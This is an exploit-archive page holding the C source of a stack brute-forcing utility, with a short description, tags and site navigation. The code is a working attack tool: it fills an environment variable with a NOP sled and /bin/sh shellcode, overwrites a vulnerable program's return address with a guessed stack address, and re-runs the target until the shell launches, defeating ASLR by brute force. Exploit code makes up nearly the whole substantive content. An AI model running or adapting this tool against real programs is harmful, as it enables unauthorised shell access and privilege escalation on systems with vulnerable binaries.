exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Stack Brute Forcing Utility

Stack Brute Forcing Utility
Posted Jul 28, 2010
Authored by gunslinger | Site gunslingerc0de.wordpress.com

Stack bruteforcing utility against buffer overflow programs with ASLR. Provides polymorphic shellcode for /bin/sh.

tags | overflow, shellcode
SHA-256 | d56b8333a432e6588c4397209bb5d75730a1eb5003fc9380c6c5f8fe305840b2

Stack Brute Forcing Utility

Change Mirror Download
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
You can use debugger to get esp address, that can make program will be defeated more faster !
RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
*/
#define RET 0xbffffff4 // you may change this
#define NOP 0x90

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000


char shellcode[] =
/*
; standard /bin//sh
global _start

_start:

xor eax,eax
push byte 11
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push ebx
int 0x80

*/
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
char *application = NULL;
char *buffer = NULL;
char env_var[ENV_LEN];
char *env[2] = { env_var, NULL};
int *p, num, ret, pid, payload_size;

if (argc < 3)
{
printf("\nStack Brute Force");
printf("\nProgrammer : Gunslinger_");
printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
exit(1);
}

printf("[*] Using return address 0x%x \n", RET);
printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
printf("[*] Shellcode size %d bytes\n", strlen(shellcode));

application = strdup(argv[1]);
payload_size = atoi(argv[2]);
buffer = (char*) malloc(payload_size);

memset (env_var, NOP, ENV_LEN);

memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
env_var[ENV_LEN-1]=0;

p = (int*) buffer;

for (num = 0; num < payload_size; num += sizeof(int), p++)
*p = RET;
*p=0;
do {
switch(pid=fork())
{
case 0:
execle (application, application, buffer, NULL, env);
exit(0);
break;
default:
waitpid (pid, &ret, 0);
break;
}
}
while (ret);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close